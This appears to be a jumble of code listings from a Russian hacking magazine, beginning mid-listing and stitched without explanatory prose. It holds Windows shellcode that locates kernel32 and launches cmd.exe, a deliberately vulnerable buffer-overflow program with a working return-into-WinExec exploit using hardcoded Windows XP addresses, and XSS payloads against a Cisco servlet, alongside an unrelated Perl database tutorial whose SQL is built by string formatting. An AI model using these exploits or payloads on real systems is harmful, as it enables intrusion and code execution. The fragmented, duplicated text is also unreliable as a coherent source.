ординалов add esi,edx ; Адрес таблицы имен в памяти add edi,edx ; Адрес таблицы ординалов в памяти cld ; Поиск вперед add ebp,8 ; ebp указывает на следующую строку Search: ; Ищем функцию GetProcAddress lodsd ; Берем указатель из таблицы указателей add eax,edx ; Получаем адрес памяти xchg esi,eax ; В esi указатель на имя найденной функции xchg edi,ebp ; ; Указываем на имя нужной нам функции push ecx ; Кладём ecx в стек xor ecx,ecx ; Обнуляем ecx add cl,15 ; Размер строки repe cmpsb ; Сравниваем jc restore1 rest2: xchg esi,eax ; Восстановим значение esi pop ecx ; Восстановим количество указателей xchg edi,ebp ; Восстановим указатель на ординалы je Found ; Нашли! inc edi ; Нет – пробуем следующую функцию inc edi ; Указатель на следующий ординал loop Search jmp Exit restore1: xor esi,esi ; mov si,61125 ; Помещаем в esi число 15 sub si,61110 ; sub esi,ecx ; Восстанавливаем указатель (edi) на начало строки sub edi,esi ; jmp rest2 ; Found: xor eax,eax ; Обнуляем eax mov ax,word ptr [edi] ; ; Возьмем ординал shl eax,2 ; Умножим на размер ординала mov esi,[ebx+1Ch] ; Указатель на таблицу адресов add esi,edx ; Получим адрес начала таблицы адресов add esi,eax ; И адрес нужной функции lodsd ; Прочитаем add eax,edx ; Добавим адрес kernel .386 .model flat, stdcall extrn ExitProcess:proc .data start: ;---------------[SUPA SHELLCODE]-------------------------- Getproc: mov esi,esp ; esi указывает на вершину стека xor ecx,ecx ; обнуляем ecx mov cl,169 ; ecx указывает на текстовую строку 'WinExec' add esi,ecx ; И esi теперь указывет на 'WinExec' push esi ; Кладём esi в стек mov ebp,esi ; И ebp теперь указывает на 'WinExec' mov edi,esi ; И edi теперь указывает на 'WinExec' xor ecx,ecx ; Обнуляем ecx mov cl,27 ; И кладём в cl 27 xor1: lodsb ; Загружаем в al байт cmp al,01 ; Проверяем 1 это или нет jne nextb ; Если нет – ищем дальше xor al,01 ; Если 1, то обнуляем его и nextb: stosb ; Возвращаем на место loop xor1 ; Таким образом, мы восстанавливаем все нужные нам нули xor ebx,ebx ; Обнуляем ebx mov eax, fs:[ebx] ; Указатель на список обработчиков inc eax ; Увеличиваем eax на 1 next_seh: xchg eax, ebx ; Обмениваем содержимое eax c ebx mov eax, [ebx-1] ; Номер текущего обработчика inc eax ; Увеличиваем eax на 1 jnz next_seh ; Является ли он системным (-1)? mov edx, [ebx-1+4] ; Адрес обработчика xchg ax, dx ; Эквивалентно xor dx,dx (eax=0) xor eax,eax ; Обнуляем eax mov ax,1001h ; Помещаем в eax dec ax ; 1000 next_block: cmp word ptr [edx],'ZM' ; Начало? je found_MZ ; ДА! sub edx,eax ; Ищем дальше jmp next_block found_MZ: mov ebx,edx ; Сохраним указатель mov edi,dword ptr [edx+3Ch] ; Адрес ; PE-заголовка add edi,edx ; +Адрес kernel cmp word ptr [edi],'EP' ; Проверка на PE jne Exit ; Не равно – выходим push edx ; Сохраним адрес kernel add ebx,[edi+78h] ; Получим адрес таблицы экспортов mov ecx,[ebx+18h] ; Количество указателей mov esi,[ebx+20h] ; Указатель на таблицу указателей имен mov edi,[ebx+24h] ; Указатель на таблицу ординалов add esi,edx ; Адрес таблицы имен в памяти add edi,edx ; Адрес таблицы ординалов в памяти cld ; Поиск вперед add ebp,8 ; ebp указывает на следующую строку Search: ; Ищем функцию GetProcAddress lodsd ; Берем указатель из таблицы указателей add eax,edx ; Получаем адрес памяти xchg esi,eax ; В esi указатель на имя найденной функции xchg edi,ebp ; ; Указываем на имя нужной нам фунции push ecx ; Кладём ecx в стек xor ecx,ecx ; Обнуляем ecx add cl,15 ; Размер строки repe cmpsb ; Сравниваем jc restore1 rest2: xchg esi,eax ; Восстановим значение esi pop ecx ; Восстановим количество указателей xchg edi,ebp ; Восстановим указатель на ординалы je Found ; Нашли! inc edi ; Нет – пробуем следующую функцию inc edi ; Указатель на следующий ординал loop Search jmp Exit restore1: xor esi,esi ; mov si,61125 ; Помещаем в esi число 15 sub si,61110 ; sub esi,ecx ; Восстанавливаем указатель (edi) на начало строки sub edi,esi ; jmp rest2 ; Found: xor eax,eax ; Обнуляем eax mov ax,word ptr [edi] ; ; Возьмем ординал shl eax,2 ; Умножим на размер ординала mov esi,[ebx+1Ch] ; Указатель на таблицу адресов add esi,edx ; Получим адрес начала таблицы адресов add esi,eax ; И адрес нужной функции lodsd ; Прочитаем add eax,edx ; Добавим адрес kernel call eax ; Получаем адрес функции ; WinExec push 1 ; Заполняем стек push ebp ; call eax ; Запускаем "cmd.exe" Exit: ;--------------------------------------------------------- db 'WinExec',01 db 'GetProcAddress',01 db 'cmd',01 konec: .code ;--------------------------------------------------------- nop ;--------------------------------------------------------- end start end Bugtraq стр. 69 Атака на переполнение буфера через неисполнимый стек в Windows NT/2000/XP Станислав Гошко #include void main () { WinExec("cmd",1); } .386 .model flat, stdcall extrn ExitProcess:proc extrn WinExec:proc .data dd 0 .code start: push 1 push offset comm1 call WinExec ; !!!!! push 0 call ExitProcess comm1 db 'cmd',0 end start end #include #include void vuln_func(char *stroka) { char buffer[256]; // буфер lstrcpyA(buffer,stroka); // функция в результате вызывающая переполнение буфера } void main (int argc, char *argv[]) { vuln_func(argv[1]); // вызов уязвимой функции printf("Parameter is : %s",argv[1]); } Parameter is : 0(null) c:\x-files\bug.exe aaaaaaa Parameter is : aaaaaaa // example exploit by sl0n #include #include void main() { char garbage[1000]; char buffer[500]; char r_address1[8]="\xC6\x84\xE6\x77"; // адрес функции WinExec для WIN XP char r_address2[8]="\xB5\x5C\xE7\x77"; // адрес функции ExitProcess для WIN XP char pointer_to_cmd[8]="\x80\xfa\x12\x00"; // адрес строки "cmd" в стэке memset(garbage,'\x90',256); // Заполняем строку мусором (nop) strcat(buffer,"cmd "); // "cmd " strcat(buffer,garbage); // "cmd "+nop strcat(buffer,r_address1); // "cmd "+nop+WinExec strcat(buffer,r_address2); // "cmd "+nop+WinExec+ExitProcess strcat(buffer,pointer_to_cmd); // "cmd "+nop+WinExec+ExitProcess+.... strcpy(garbage,"BUG.EXE "); strcat(garbage,buffer); //"BUG.EXE "+"cmd "+nop'ы+WinExec+ExitProcess+point_cmd WinExec(buffer,1); } Работа с базами данных на Perl Владислав Гошко Name1|Value1#Value2#Value3#...#ValueN Name2|Value1#Value2#Value3#...#ValueN Name3|Value1#Value2#Value3#...#ValueN ... NameN|Value1#Value2#Value3#...#ValueN ";", "/", "?", ":", "@", "&", "=", "+", "$", ",","-", "_", ".", "!", "~", "*", "'", "(", ")" #!/usr/bin/perl # создаем пакет package simple_db; use Exporter; # как и говорилось, используем модуль для перевода небезопасных # символов в формат %XX use URI::Escape; @ISA=("Exporter"); @EXPORT=qw(&opendb &closedb %g); # экспортируем используемые функции, а также хеш %g, для того # чтобы функция знала, в какой файл записывать изменения # хеша, вводимого в аргументах sub opendb{ my($h,$file)=@_; my($name,$vals,@values); local(*DB); open(DB,$file) or return 0; # блокируем файл на тот случай, если во время чтения # кто-то захочет изменить файл (совместная блокировка – # для чтения) flock(DB,1); while(){ chomp; ($name,$vals)=split(/\|/,$_,2); next if !$name; $name = uri_unescape($name); @values = split(/#/,$vals); # если значений много, создаем анонимный массив, # иначе просто присваиваем одно значение if($#values){ for(0..$#values){ # переводим символы из %XX-формата # в нормальный вид $values[$_]=uri_unescape($values[$_]); } $$h{$name}=[@values]; }else{ $vals = uri_unescape($vals); $$h{$name}=$vals; } } close(DB); # записываем в глобальный хеш ассоциацию ссылки на хеш # с открытым файлом $g{$h}=$file; } sub сlosedb{ my($h)=@_; my($key,$val,$fn); # по имени хеша получаем имя файла $fn = $g{$h}; local(*DB); # выходим из функции, если файла не существует return if !(-e $fn); open(DB,">$fn") or return 0; # замыкаем файл # (монопольная блокировка – для записи) flock(DB,2); while(($key,$val) = each %$h){ # обратно создаем формат, переводя небезопасные # символы в формат %XX print DB uri_escape($key)."|"; if(ref $val){ for(0..$#$val){ $$val[$_]=uri_escape($$val[$_]); } print DB join "#",@$val; }else{ $val=uri_escape($val); print DB $val; } print DB "\n"; } close(DB); } 1; #!/usr/bin/perl use simple_db; # открываем файл test.db и ассоциируем с ним хеш %h, # иначе умираем opendb(\%h,"test.db") or die $!; # добавляем значения в хеш $h{'supa|var'}=["special#","tes#t"]; # также легко можно добавить массив @tmp = ("array","tester"); # добавили ... $h{'arr'}=\@tmp; # или добавляем массив так $h{'arr2'}=["some","vars"]; closedb(\%h) or die $!; supa%7Cvar|special%23#tes%23t arr|array#tester arr2|some#vars #!/usr/bin/perl use simple_db; opendb(\%h,"test.db") or die $!; while(($key,$val) = each %h){ print $key." = "; if(ref $val){ # здесь, если значение переменной ссылка на массив print join " ; ",@$val; }else{ print $val; } print "\n"; } closedb(\%h) or die $!; supa|var = special# ; tes#t arr = array ; tester arr2 = some ; vars unlink "test.db" or die $!; # $filename - в данном случае имя нашего файла if(!(-e "$filename")){ open(FILE,">$filename") or die $!; close(FILE); } #!/usr/bin/perl use Fcntl; # специально для таких переменных, как O_RDWR, O_CREAT # O_RDWR - права: чтение, запись # O_CREAT - создать файл, если он не существует dbmopen(%HASH,$FILENAME,O_RDWR|O_CREAT, 0666) or die "Cant open $FILENAME: $!\n"; # заносим данные в базу данных $HASH{KEY}="VALUE"; # проверяем, существует ли ключ if(exists $HASH{KEY}){ # что-то делаем с информацией, полученной из базы данных $info = $HASH{KEY}; } # удаляем какой-нибудь ключ из базы delete $HASH{SOME_KEY}; dbmclose(%HASH); #!/usr/bin/perl use DB_File; # здесь это обязательно, т.к. в функции tie() мы задаем модуль use Fcntl; tie(%HASH,"DB_File",$FILENAME,O_RDWR|O_CREAT, 0666) or die "Can't open $FILENAME: $!\n"; # все те же манипуляции с хешем, которые описывались выше # ... # а потом untie(%HASH); #!/usr/bin/perl use MLDBM 'DB_File'; use Fcntl; # для O_RDWR, O_CREAT и т.д. tie(%h, "MLDBM", "glob.db", O_RDWR|O_CREAT, 0666) or die "Couldn't tie DB_File $users: $!; aborting"; $usr{synthetic}->{password}="matrix reloaded"; $h{users}=\%usr; untie %h; #!/usr/bin/perl use MLDBM 'DB_File'; use Fcntl; # для O_RDWR, O_CREAT и т. д. $access=0; tie(%h,"MLDBM","glod.db",O_RDWR|O_CREAT,0666) or die "Couldn't tie DB_File $users: $!; aborting"; while(($key,$val) = each %h){ if($key eq "users"){ if($val->{synthetic}->{password} eq "matrix reloaded"){ $access=1;last; # если все правильно, завершаем цикл } } } untie(%h); if($access){ print "Matrix has you..."; }else{ print "Follow the white rabbit"; } tie(%h,"MLDBM","glob.db",O_RDWR|O_CREAT,0666) or die "Couldn't tie DB_File $users: $!; aborting"; %tmp=%h; delete $tmp{users}->{'somebody'}; %h=%tmp; untie %h; tie(%h,"MLDBM","glob.db",O_RDWR|O_CREAT,0666) or die "Couldn't tie DB_File $users: $!; aborting"; %tmp=%h; $tmp{users}->{'morpheus'}->{password}='zion'; %h=%tmp; untie %h; foreach $key (sort keys %unsorted){ $val = $unsorted{$key}; # здесь переборка ключей хеша по алфавиту # делаем что-то c $key и $val } foreach $key (sort {$unsorted{$a} cmp $unsorted{$b} } keys %unsorted){ $val = $unsoreted{$key}; # что-то делаем с $key и $val... } foreach $key (sort {length($unsorted{$a}) <=> length($unsorted{$b}) } keys %unsorted){ $val = $unsoreted{$key}; # что-то делаем с $key и $val... } #!/usr/bin/perl use DBI; # настройки SQL сервера ##################################### $user = "synthetic"; # логин и $password = "test"; # пароль для доступа к серверу $host = "localhost"; # адрес SQL-сервера $db = "site"; # база данных, с которой соединяемся $port = 3306; # порт (взят по умолчанию) $driver = "mysql"; # это драйвер для базы данных, т.е. # вы можете указать драйвер своей # базы и спокойно соединятся с ней # (естественно зная ее семантику) ########################################################## # данные - просто для проверки $login = "Vlad"; $pass = "isitreal"; $conn = "DBI:$driver:database=$db;host=$host;port=$port"; # RaiseError => 1 - сообщать об ошибках $dbh = DBI->connect($conn, $user, $password, {RaiseError => 1}); # задали название тэйбла - для дальнейшего использования $table = "users"; # создаем тэйбл "users" $query = "CREATE TABLE .$table(username char(16) not null,pass char(16) not null)"; # создали $dbh->do($query); # отсоединилсь $dbh->disconnect(); # вся предыдущая инициализация $query = sprintf("INSERT INTO .$table (username, pass) VALUES ('%s', '%s')", $login, $pass); # выполнили... $dbh->do($query); # и т. д. # вся предыдущая инициализация. # создаем запрос к базе и выбираем все из тэйбла users $sth = $dbh->prepare("select * from .users"); # выполнили $sth->execute(); while($row = $sth->fetchrow_arrayref()){ # в данном случае: # $row->[0] - логин (username) # $row->[1] - пароль (pass) print $row->[0]." ".$row->[1]; } # обязательно (!) говорим, что завершили $sth->finish(); # вся предыдущая инициализация $query = "DROP TABLE IF EXISTS .$table"; # выполнили... $dbh->do($query); # и т.д. Bugtraq стр. 78 POST /CSCOnm/servlet/com.cisco.nm.cmf.servlet.CsAuthServlet HTTP/1.0 Accept-Language: en Content-Type: application/x-www-form-urlencoded Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: 10.10.10.1:1741 Content-Length: 114 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: jrunsessionid=1057059156201223367 about:blank%20< script>alert('8-D uhh !'); about:blank%20< iframe src="about:blank%20

;- )"> about:blank%20< h1>XSS is behind you...